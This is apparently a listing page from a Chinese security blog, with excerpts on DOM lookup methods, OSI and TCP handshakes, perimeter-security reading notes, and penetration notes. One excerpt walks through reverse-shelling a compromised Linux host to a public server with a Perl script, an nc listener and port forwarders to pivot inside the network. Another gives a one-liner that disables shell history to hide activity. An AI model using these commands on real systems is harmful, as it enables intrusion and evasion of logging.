浏览模式: 标准 | 列表全部文章

getElementById() 和 getElementsByTagName()

getElementById() 和 getElementsByTagName() 这两种方法,可查找整个 HTML 文档中的任何 HTML 元素。

这两种方法会忽略文档的结构。假如您希望查找文 档 中所有的 <p> 元素,getElementsByTagName() 会把它们全部找到,不管 <p> 元素处于文档中的哪个层次。同时,getElementById() 方法也会返回正确的元素,不论它被隐藏在文档结构中的什么位置。

这两种方法会像您提供任何你所需要的 HTML 元素,不论它们在文档中所处的位置!

getElementById() 语法

document.getElementById("ID");

getElementsByTagName() 语法

document.getElementsByTagName("标签名称");

getElementById() 和 getElementsByTagName()的区别在于:

getElementById(), 一次只能访问一个节点,原因是它是以html中的id作为选择条件

getElementsByTagName(), 它是以标签作为选择条件

示例代码:

getElementById()

XML/HTML代码
  1. <p id="testId">  
  2. 这个段落是为了展示 getElementById()方法访问DOM节点的。<br />  
  3.   <img src="../../images/logo.gif" alt=" 展示如何访问DOM" /><br />  
  4. </p> 

JavaScript代码
  1. <script type="text/javascript">  
  2.  function hide(){  
  3.  document.getElementById("testId").style.display = "none" ;   
  4.  }  
  5.  function show(){  
  6.  document.getElementById("testId").style.display = "block" ;   
  7.  }  
  8.  </script>   
  9. ……  
  10. <form action="#">  
  11. <button onclick="hide(); return false;" value="隐藏" >把它吃掉</button>  
  12. <button onclick="show(); return false;" value="显示" >把它吐出来</button>  
  13. </form>  
此例中是以testid作为选择 条件

getElementsByTagName()

JavaScript代码
  1. <script type="text/javascript">  
  2. function allPara(){  
  3. //paras存储所有段落  
  4. paras = document.getElementsByTagName("p");  
  5. //paraNum循环变量,用于选中每个单独的段落  
  6. var paraNum;  
  7. //从零开始循环,paras.length是段落节点的个数  
  8. for (var paraNum=0;paraNum<paras.length;paraNum++)  
  9.  {   
  10.   //操作:给段落设置边框。  
  11.   paras[paraNum].style.border = "1px dashed pink";    
  12.  }  
  13. }  
  14. </script>

» 阅读全文

Tags: html dom

字符注射的温习

这篇日志被加密了,请输入密码后查看。

xss的一些个例情况

这篇日志被加密了,请输入密码后查看。

堆栈攻击-协议分析

上图:

» 阅读全文

Tags: 协议

Linux下的内网反弹实例

遇到一个案例,细节不表,把在案例中的操作方法在本机模拟了下,记录之.

环境:

被攻陷的Linux主机(拿到root权限)-----模拟为我内网的一台Linux服务器 192.168.0.105

hack的操作用机-----我的电脑 192.168.1.101

反弹到公网的服务器-----我自己的公网服务器 61.160.2xx.xxx

渗透测试用的windows测试机  192.168.1.109

工具:

packetr-static  Linux下的

htran.exe   windows下的

sockcap 用作代理进入内网渗透的利器

过程:

1.我模拟下极度苛刻的情况下的环境,该攻陷的Linux服务器对外不开放22,只存在web端口80,那么我们必须得反弹shell到公网的机器上,这点我虚拟机里面没 这个环境,我就直接说下简要的

上传back.pl文件到linux下的tmp目录下,执行

perl /tmp/back.pl xxx.xxx.xxx.xxx 端口

在公网的服务器上,运行nc执行

nc -l -v -p 端口(跟上面的一样)

现在我弹2个窗口回来,一个开代理,一个转发数据

把packetr-static传上去,执行

./packetr-static -s 1988

 

一个窗口转发数据,执行

./packetr-static -slave 61.160.20x.xxx 123 127.0.0.1 1988

 

2.在windows公网端执行,

htran.exe -p -listen 123 1988

 

3.配置sockcap

 

4.运行代理程序进入内网

 

» 阅读全文

Tags: linux, 内网

Linux渗透的一些细节

1.history不做记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

» 阅读全文

Tags: linux

OSI七层参考模型和tcp三次握手的温故

  很多东西不温故就容易忘记,记录下,鞭策自己

  一直记不下网络的七层模型的名字,今天看一哥们的博客,有一种比较冏的记录方法

  应用层(Application Layer)


  表示层(Presentation Layer)


  会话层(Session Layer)


  传输层(Transport Layer)


  网络层(Network Layer)


  数据链路层(Data Link Layer)


  物理层(Physical Layer)


  把英文的第一个字母截取下来,用比较不和谐的中文简意下

  阿婆死踢你的屁.....

-----------------------------------------------------------------------------------------------------

 

TCP 连接 是通过三次握 手进行初始化的。三次握手的目的是同步连接双方的序列号和确认号并交换 TCP 窗口大小信息。以下步骤概述了通 常情况下客户端计算机联系服务器计算机 的过程:


1. 客户端 向服务器发 送一个SYN置 位 的TCP报 文,其 中包含连接的初始序列号x和一个窗口大小(表示客户端上用来存储从服务器发送来的传入段的缓冲区的大小)。


2. 服务器 收到客户端 发送过来的SYN报 文后,向客户端发送一个SYNACK都置位的TCP报文,其中包含它选择的初始序列号y、对客户端的序列号的确认x+1和一个窗口大小(表示服务器上用来存储从客户端发送来的传入段的缓冲区的大小)。


3. 客户端 接收到服务 器端返回的SYN+ACK报文后,向服务器端返回一个确认号y+1和序号x+1ACK报文,一个标准的TCP连接完成。


TCP 使用 类似的握手过 程来结束连接。这可确保两个主机均能完成传输并确保所有的数据均得以接收

 

第一次是客户端发起连 接;第二次表示服务器收到了客户端的请求;第三次表示客户端收到了服务器的反馈。这之后双方均确认了连接的有效性,如果第三次服务器 未收到,假设一个CS发送了SYN后无故消失了,那么S在发出SYN+ACK应答报文后是无法收到CACK报文的(第三次握手无法完成),这种情况下S一般会重试(再次发送SYN+ACK给客户端)并等 待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个 时间是分钟的数量级(大约为30-2钟)


TCP Client

Flags

TCP Server

1 Send SYN (seq=x)

----SYN--->

SYN Received

2 SYN/ACK Received

<---SYN/ACK----

Send SYN (seq=y) ACK (x+1)

3 Send ACK (y+1)

----ACK--->

ACK Received Connection Established

x: ISN (Initial Sequence Number) of the Client

y: ISN of the Server

» 阅读全文

Tags: osi, tcp

网络边界安全学习笔记一

前言:

1.本书的一个主要思想,从不信任操作系统,预期边界部件会出现故障,在边界防御的早期,对于信息安全专业人员而言,唯一的选择是在这些"摇晃"的操作系统上对其边界分层.

2.本书将讨论许多边界设计方法,有些边界设计更注意安全,而另一些边界设计则更注意性能.有些边界设计将重点放在正常工作时间上,并帮助你了解如何基于自己所在的机构的需求选择这些设计.

3.飞行器工业能够在提高安全性能方面取得巨大的飞跃的主要原因之一是,是飞行有关的每个部件和过程都收到严格的,完整的和连续的检查.这些是我们在防御过程中需要做出的最重要的变革

第一部分:网络边界基础

第二部分:边界的延伸

第三部分:边界设计

第四部分:边界安全的评估方法

 

» 阅读全文

Tags: 边界安全

Records:19123